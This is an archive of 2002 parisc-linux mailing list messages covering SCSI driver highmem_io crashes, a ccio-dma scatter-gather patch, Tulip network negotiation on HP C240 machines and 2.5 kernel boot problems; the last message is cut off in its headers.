NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:03 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	<james@compusmithllc.com>, <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 21:55:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id C123C483A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 21:55:33 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id EAA32726;
	Sat, 23 Nov 2002 04:55:47 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200211230018.gAN0INM1007883@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16911

On Fri, 22 Nov 2002, John David Anglin wrote:

> Don't bother.  The message is spam.

Yes, but it's f***ing annoying.
I hope this can be 'fixed' somehow, but I actually doubt it.
Hope this won't be the future of spam ... :-/

Max



From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] highmem_io for the sym53c8xx_2 driver??
Date: 23 Nov 2002 00:38:26 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <1038037106.14815.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621963 17575 80.91.229.3 (22 Nov 2014 02:06:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 23 00:38:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08A16482E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Nov 2002 00:38:31 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 602322B100
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Nov 2002 00:38:26 -0700 (MST)
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16912

Hello parisc-linux hackers,

I traced my boot problem with cvs head for the linux-2.4 tree down to
the following patch:

Index: drivers/scsi/sym53c8xx_2/sym53c8xx.h
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/sym53c8xx_2/sym53c8xx.h,v
retrieving revision 1.4
diff -u -p -r1.4 sym53c8xx.h
--- drivers/scsi/sym53c8xx_2/sym53c8xx.h	13 Nov 2002 15:15:44 -0000	1.4
+++ drivers/scsi/sym53c8xx_2/sym53c8xx.h	23 Nov 2002 07:32:10 -0000
@@ -119,8 +119,7 @@ int sym53c8xx_release(struct Scsi_Host *
 	this_id:		7,					\
 	sg_tablesize:		0,					\
 	cmd_per_lun:		0,					\
-	use_clustering:		DISABLE_CLUSTERING,			\
-	highmem_io:		1}
+	use_clustering:		DISABLE_CLUSTERING}
 
 #endif /* defined(HOSTS_C) || defined(MODULE) */ 
 
Index: drivers/scsi/sym53c8xx_2/sym_glue.c
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/sym53c8xx_2/sym_glue.c,v
retrieving revision 1.6
diff -u -p -r1.6 sym_glue.c
--- drivers/scsi/sym53c8xx_2/sym_glue.c	16 Nov 2002 06:10:46 -0000	1.6
+++ drivers/scsi/sym53c8xx_2/sym_glue.c	23 Nov 2002 07:32:11 -0000
@@ -2154,7 +2154,6 @@ sym_attach (Scsi_Host_Template *tpnt, in
 	instance->max_cmd_len	= 16;
 #endif
 	instance->select_queue_depths = sym53c8xx_select_queue_depths;
-	instance->highmem_io	= 1;
 
 	SYM_UNLOCK_HCB(np, flags);
 



I am not sure what the highmem_io flag does, but when it is enabled it
causes my C200 to HPMC.

Thoughts?

Thanks,

- Ryan



From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver fails to advertise 100baseTx media capability
Date: Sat, 23 Nov 2002 00:08:44 -0800 (PST)
Lines: 70
Approved: news@gmane.org
Message-ID: <20021123080844.32770.qmail@web12507.mail.yahoo.com>
References: <Pine.LNX.4.44.0211230437370.13058-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1724874002-1038038924=:31754"
X-Trace: ger.gmane.org 1416621963 17584 80.91.229.3 (22 Nov 2014 02:06:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>, Leif Harcke <lharcke@Stanford.EDU>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 23 01:08:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id BDC8B482E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Nov 2002 01:08:48 -0700 (MST)
Original-Received: from [12.24.253.152] by web12507.mail.yahoo.com via HTTP; Sat, 23 Nov 2002 00:08:44 PST
In-Reply-To: <Pine.LNX.4.44.0211230437370.13058-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16913

--0-1724874002-1038038924=:31754
Content-Type: text/plain; charset=us-ascii


In HPUX there are "conf" files used to configure the cards during the software deamon start-ups.  There are different "conf" files for the different network cards.  These conf files control half or full duplex, mac address settings, and whether autonegotiation is on or off.
 
derek
 "M. Grabert" <xam@cs.ucc.ie> wrote:On Fri, 22 Nov 2002, Leif Harcke wrote:

> Just got Debian 3.0 (woody) booted on a C240. When the Tulip driver is
> initialized by the kernel, it fails to advertise the 100baseTx media
> capability of the DS21143 chip. I think this is a kernel issue, not a
> Debian or Tulip issue.

the same for me.
It happens one out of 30 time that I get a 100mbit connection.
Usually I just get 10mbit full duplex (this machine is connected to a
10/100 Switch (not Hub), and just other 100Mbit capable network devices
are attached to it.

> Setting the PDC/firmware (v. 6.3, latest for the C240) to force the
> 100/Full duplex rate at boot time doesn't fix the problem, nor does
> issuing an "ether=0,0,[11|14],eth0" to the kernel from the PALO kernel
> parameters line.

The same for me

> I think the way Tulip is called by the kernel somehow causes only 10baseT
> to be advertised. It's easy enough to correct after the fact with a
> simple "mii-tool -A" command, but it would be nicer if the media
> advertising was properly set by the kernel at boot time. See output of
> uname, dmesg, and mii-tool below.
>
> A thousand pardons if this is the wrong list for this bug. I'll re-post
> to the debian-hppa or the tulip list if people think those are the proper
> places.

I think it more a hardware related issue. The network card in the C240
is VERY picky about 100mbit negotiation.

Maybe you are able to force to switch it to 100mbit via software,
but I'm not sure.

See also http://www.unixnerd.demon.co.uk/hp_unix.html , the FAQ at
the bottom at the page.

greetings max

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-1724874002-1038038924=:31754
Content-Type: text/html; charset=us-ascii

<P>In HPUX there are "conf" files used to configure the cards during the software deamon start-ups.&nbsp; There are different "conf" files for the different network cards.&nbsp; These conf files control half or full duplex, mac address settings, and whether autonegotiation is on or off.
<P>&nbsp;
<P>derek
<P>&nbsp;<B><I>"M. Grabert" &lt;xam@cs.ucc.ie&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">On Fri, 22 Nov 2002, Leif Harcke wrote:<BR><BR>&gt; Just got Debian 3.0 (woody) booted on a C240. When the Tulip driver is<BR>&gt; initialized by the kernel, it fails to advertise the 100baseTx media<BR>&gt; capability of the DS21143 chip. I think this is a kernel issue, not a<BR>&gt; Debian or Tulip issue.<BR><BR>the same for me.<BR>It happens one out of 30 time that I get a 100mbit connection.<BR>Usually I just get 10mbit full duplex (this machine is connected to a<BR>10/100 Switch (not Hub), and just other 100Mbit capable network devices<BR>are attached to it.<BR><BR>&gt; Setting the PDC/firmware (v. 6.3, latest for the C240) to force the<BR>&gt; 100/Full duplex rate at boot time doesn't fix the prob
 lem, nor does<BR>&gt; issuing an "ether=0,0,[11|14],eth0" to the kernel from the PALO kernel<BR>&gt; parameters line.<BR><BR>The same for me<BR><BR>&gt; I think the way Tulip is called by the kernel somehow causes only 10baseT<BR>&gt; to be advertised. It's easy enough to correct after the fact with a<BR>&gt; simple "mii-tool -A" command, but it would be nicer if the media<BR>&gt; advertising was properly set by the kernel at boot time. See output of<BR>&gt; uname, dmesg, and mii-tool below.<BR>&gt;<BR>&gt; A thousand pardons if this is the wrong list for this bug. I'll re-post<BR>&gt; to the debian-hppa or the tulip list if people think those are the proper<BR>&gt; places.<BR><BR>I think it more a hardware related issue. The network card in the C240<BR>is VERY picky about 100mbit negoti
 ation.<BR><BR>Maybe you are able to force to switch it to 100mbit via software,<BR>but I'm not sure.<BR><BR>See also http://www.unixnerd.demon.co.uk/hp_unix.html , the FAQ at<BR>the bottom at the page.<BR><BR>greetings max<BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-1724874002-1038038924=:31754--


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver fails to advertise 100baseTx media capability
Date: Sat, 23 Nov 2002 16:53:20 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20021123235320.4E4AC482E@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0211221747260.29185-100000@chirp.Stanford.EDU>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621964 17592 80.91.229.3 (22 Nov 2014 02:06:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Leif Harcke <lharcke@Stanford.EDU>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 23 16:53:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4E4AC482E; Sat, 23 Nov 2002 16:53:20 -0700 (MST)
In-Reply-To: Message from Leif Harcke <lharcke@Stanford.EDU> 
   of "Fri, 22 Nov 2002 19:16:23 PST." <Pine.LNX.4.44.0211221747260.29185-100000@chirp.Stanford.EDU> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16914

Leif Harcke wrote:
> > It's possible this is a problem/interaction with your switch/hub.
> 
> I don't think this is a possibility.  The kernel/Tulip have to decide what
> to advertise on the link long before autonegotiation is attempted, right?

I gather you know more about negotiation that I.

> From reading
> kernel source it appears that the Tulip driver sets some default state if
> it can't build the mtable.  Perhaps this is where the error comes from.

Can you look a bit more and post a patch?
Several people could comment.

thanks,
grant


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] highmem_io for the sym53c8xx_2 driver??
Date: Sat, 23 Nov 2002 19:13:57 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20021124021357.0EDBA482E@dsl2.external.hp.com>
References: <1038037106.14815.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621964 17611 80.91.229.3 (22 Nov 2014 02:06:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 23 19:13:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0EDBA482E; Sat, 23 Nov 2002 19:13:57 -0700 (MST)
In-Reply-To: Message from Ryan Bradetich <rbradetich@uswest.net> 
   of "23 Nov 2002 00:38:26 MST." <1038037106.14815.4.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16915

Ryan Bradetich wrote:
...
> I am not sure what the highmem_io flag does, but when it is enabled it
> causes my C200 to HPMC.

That's for the SCSI midlayer to know whether or not the driver can do
64-bit DMA or not. Basically it means SCSI will use "page+offset"
instead of "address" when building SG lists.

All parisc machines require 32-bit DMA - ie through an IO MMU or direct.
Failures with highmem_io enabled suggests we aren't handling
"page+offset" correctly in the iommu code.

grant


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] highmem_io for the sym53c8xx_2 driver??
Date: Sat, 23 Nov 2002 19:43:58 -0700
Lines: 89
Approved: news@gmane.org
Message-ID: <20021124024358.7D5B0482E@dsl2.external.hp.com>
References: <1038037106.14815.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621964 17618 80.91.229.3 (22 Nov 2014 02:06:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 23 19:43:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7D5B0482E; Sat, 23 Nov 2002 19:43:58 -0700 (MST)
In-Reply-To: Message from Ryan Bradetich <rbradetich@uswest.net> 
   of "23 Nov 2002 00:38:26 MST." <1038037106.14815.4.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16916

Ryan Bradetich wrote:
> I am not sure what the highmem_io flag does, but when it is enabled it
> causes my C200 to HPMC.

yeah - ccio-dma.c isn't using sg_virt_address() to access to the virtual
address of an SG list entry. It's defined in include/asm/scatterlist.h.
See sba_iommu.c on how to use this correctly.

Attached diff is a first cut, untested. My advice is to rewrite the
loop so sg_virt_address() result is saved once instead of referencing
the macro 3 (or more) times in the main loop.

grant


Index: ccio-dma.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/ccio-dma.c,v
retrieving revision 1.56
diff -u -p -r1.56 ccio-dma.c
--- ccio-dma.c	17 Nov 2002 20:44:11 -0000	1.56
+++ ccio-dma.c	24 Nov 2002 02:42:09 -0000
@@ -805,7 +805,7 @@ ccio_fill_pdir(struct ioc *ioc, struct s
 
 		DBG_RUN_SG(" %d : %08lx/%05x %p/%05x\n", nents,
 			   (unsigned long)sg_dma_address(startsg), cnt,
-			   startsg->address, startsg->length
+			   sg_virt_address(startsg), startsg->length
 		);
 
 		/*
@@ -825,7 +825,7 @@ ccio_fill_pdir(struct ioc *ioc, struct s
 		** Look for a VCONTIG chunk
 		*/
 		if (cnt) {
-			unsigned long vaddr = (unsigned long)startsg->address;
+			unsigned long vaddr = (unsigned long)sg_virt_address(startsg);
 			ASSERT(pdirp);
 
 			/* Since multiple Vcontig blocks could make up
@@ -878,8 +878,8 @@ ccio_coalesce_chunks(struct ioc *ioc, st
 		*/
 		dma_sg = vcontig_sg = startsg;
 		dma_len = vcontig_len = vcontig_end = startsg->length;
-		vcontig_end += (unsigned long) startsg->address;
-		dma_offset = (unsigned long) startsg->address & ~IOVP_MASK;
+		vcontig_end += (unsigned long) sg_virt_address(startsg);
+		dma_offset = (unsigned long) sg_virt_address(startsg) & ~IOVP_MASK;
 
 		/* PARANOID: clear entries */
 		sg_dma_address(startsg) = 0;
@@ -893,7 +893,7 @@ ccio_coalesce_chunks(struct ioc *ioc, st
 			unsigned long startsg_end;
 
 			startsg++;
-			startsg_end = (unsigned long)startsg->address + 
+			startsg_end = (unsigned long)sg_virt_address(startsg) + 
 				startsg->length;
 
 			/* PARANOID: clear entries */
@@ -912,7 +912,7 @@ ccio_coalesce_chunks(struct ioc *ioc, st
 			/*
 			** Append the next transaction?
 			*/
-			if(vcontig_end == (unsigned long) startsg->address) {
+			if(vcontig_end == (unsigned long) sg_virt_address(startsg)) {
 				vcontig_len += startsg->length;
 				vcontig_end += startsg->length;
 				dma_len     += startsg->length;
@@ -981,7 +981,8 @@ ccio_map_sg(struct pci_dev *dev, struct 
 
 	/* Fast path single entry scatterlists. */
 	if(nents == 1) {
-		sg_dma_address(sglist)= ccio_map_single(dev, sglist->address,
+		sg_dma_address(sglist)= ccio_map_single(dev,
+							sg_virt_address(sglist),
 							sglist->length, 
 							direction);
 		sg_dma_len(sglist)= sglist->length;
@@ -1043,7 +1044,7 @@ ccio_unmap_sg(struct pci_dev *dev, struc
 	ioc = GET_IOC(dev);
 
 	DBG_RUN_SG("%s() START %d entries,  %p,%x\n",
-		__FUNCTION__, nents, sglist->address, sglist->length);
+		__FUNCTION__, nents, sg_virt_address(sglist), sglist->length);
 
 #ifdef CONFIG_PROC_FS
 	ioc->usg_calls++;


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems booting kernels 2.5.4x on c3000
Date: Sun, 24 Nov 2002 18:57:52 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <200211241857.37851.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621965 17628 80.91.229.3 (22 Nov 2014 02:06:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 24 11:00:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id 0F65A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Nov 2002 11:00:24 -0700 (MST)
Original-Received: (qmail 21033 invoked by uid 0); 24 Nov 2002 18:00:16 -0000
Original-Received: from dialin-212-144-178-055.arcor-ip.net (HELO P100.helgenet.de) (212.144.178.55)
  by mail.gmx.net (mp011-rz3) with SMTP; 24 Nov 2002 18:00:16 -0000
User-Agent: KMail/1.5
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16917

Hi,

I've tracked down my bootproblems on a c3k with kernel 2.5.4x (e.g. 2.5.47-pa8)
to the functions
  pdc_suspend_usb()				[in arch/parisc/kernel/inventory.c]
and
  pdc_pci_irt_size(&num_entries, 0);  [in drivers/parisc/iosapic.c]
which are both defined in firmware.c and work without problems in the 2.4 kernels.

Anybody has an idea what's going on here ?

Helge


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5.47-paX STI(?) null pointer deref
Date: Sun, 24 Nov 2002 20:34:11 +0000 (UTC)
Lines: 87
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211242029230.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621965 17638 80.91.229.3 (22 Nov 2014 02:06:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 24 13:32:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E355482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Nov 2002 13:32:55 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 7C6331FFEC7
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Nov 2002 21:32:49 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id BA6C51FFEDF; Sun, 24 Nov 2002 21:32:48 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 6BE8222E1C; Sun, 24 Nov 2002 20:34:11 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 62B0F22E1A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Nov 2002 20:34:11 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
